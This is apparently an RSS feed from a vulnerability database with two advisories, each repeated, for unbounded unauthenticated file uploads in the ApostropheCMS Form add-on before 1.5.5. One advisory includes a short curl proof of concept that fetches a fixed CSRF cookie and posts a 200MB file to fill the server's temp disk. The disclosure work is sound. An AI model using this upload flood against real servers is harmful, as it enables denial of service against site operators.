https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 21 Oct 2026 10:56:17 +0000 https://db.gcve.eu/vuln/fkie_cve-2026-113656 <p>ApostropheCMS is an open-source Node.js content management system. Prior to 1.5.5 of the ApostropheCMS Form add-on, its form submission route stages unbounded multipart uploads before form validation or authentication and lacks upload size, count, and rate limits. Repeated unauthenticated submissions can consume temporary disk storage and disrupt form handling or other host services. This issue is fixed in ApostropheCMS Form 1.5.5.</p> <p>ApostropheCMS is an open-source Node.js content management system. Prior to 1.5.5 of the ApostropheCMS Form add-on, its form submission route stages unbounded multipart uploads before form validation or authentication and lacks upload size, count, and rate limits. Repeated unauthenticated submissions can consume temporary disk storage and disrupt form handling or other host services. This issue is fixed in ApostropheCMS Form 1.5.5.</p> https://db.gcve.eu/vuln/fkie_cve-2026-113656 https://db.gcve.eu/vuln/ghsa-89mh-mm8c-mv7f <p><strong>Affected:</strong> npm: @apostrophecms/form</p> <p>**Summary** The form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.</p> <p>**Details** `packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. &#34;CSRF&#34; is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.</p> <p>**PoC** ``` $ curl -s -c csrfjar.cookies http://localhost:3100/ # get vulnlab.csrf=csrf (any GET) $ df -P /tmp # before: used=1105212 $ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \ -F &#34;file=@/tmp/opencode/big.bin;type=application/octet-stream&#34; &amp; DURING transfer: used=1148668 still transferring: used=1226936 # +121MB mid-transfer on disk http=500 time=1.78s sent=209715411B # generic error AFTER full staging # Anonymous, zero credentials. 200MB written to /tmp pre-validation. ```</p> <p>**Impact** Any unauthenticated client can force the server to persist entire request bodies to the temp filesystem and CPU-decode them; parallel requests exhaust disk `…</p> <p><strong>Affected:</strong> npm: @apostrophecms/form</p> <p>**Summary** The form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.</p> <p>**Details** `packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. &#34;CSRF&#34; is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.</p> <p>**PoC** ``` $ curl -s -c csrfjar.cookies http://localhost:3100/ # get vulnlab.csrf=csrf (any GET) $ df -P /tmp # before: used=1105212 $ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \ -F &#34;file=@/tmp/opencode/big.bin;type=application/octet-stream&#34; &amp; DURING transfer: used=1148668 still transferring: used=1226936 # +121MB mid-transfer on disk http=500 time=1.78s sent=209715411B # generic error AFTER full staging # Anonymous, zero credentials. 200MB written to /tmp pre-validation. ```</p> <p>**Impact** Any unauthenticated client can force the server to persist entire request bodies to the temp filesystem and CPU-decode them; parallel requests exhaust disk `…</p> https://db.gcve.eu/vuln/ghsa-89mh-mm8c-mv7f